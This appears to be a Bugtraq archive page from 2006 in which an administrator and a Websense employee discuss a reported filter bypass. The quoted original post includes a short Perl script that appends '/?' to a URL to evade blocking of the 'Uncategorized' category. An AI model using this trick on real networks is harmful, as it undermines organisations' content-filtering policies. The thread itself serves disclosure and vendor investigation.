Bugtraq mailing list archives
RE: [BULK] - Websense Filter Bypass
From: "John E. Fleming" <John () parcassets com>
Date: Fri, 21 Apr 2006 15:33:27 -0400
We did a test as well and were still blocked. Simply add a "?" question mark correct? We put www.ibm.com in the "uncategorized" category as a test. Websense version we are using is 6.1 We block uncategorized and allow dynamic. John -----Original Message----- From: Hubbard, Dan [mailto:dhubbard () websense com] Sent: Friday, April 21, 2006 1:12 PM To: qex () bsdmail org; bugtraq () securityfocus com Subject: RE: [BULK] - Websense Filter Bypass All; We have received this report and are investigating. Our preliminary tests show that this only works when customers block the uncategorized URL category and allow the dynamic content category. If you do not block uncategorized you should not be affected. -----Original Message----- From: qex () bsdmail org [mailto:qex () bsdmail org] Sent: Thursday, April 20, 2006 5:04 AM To: bugtraq () securityfocus com Subject: [BULK] - Websense Filter Bypass #!/usr/bin/perl -w # # Websense Filter Bypass # # ==================== # Discovered by: Qex # Date: 19 April 2006 # ==================== # # Bypass any website that is in the "Uncategorized" Websense Category # simply by adding a question mark (?) at the end of the URL. print q( Websense Filter Bypass ==================== Discovered by: Qex Date: 19 April 2006 ==================== ) print "Enter URL:\n"; $url = <STDIN>; chomp $url; $bypass = "$url/?"; print "\nURL: \n$bypass\n";
Attachment:
John E. Fleming.vcf
Description: John E. Fleming.vcf
Current thread:
- RE: [BULK] - Websense Filter Bypass Hubbard, Dan (Apr 21)
- <Possible follow-ups>
- RE: [BULK] - Websense Filter Bypass John E. Fleming (Apr 24)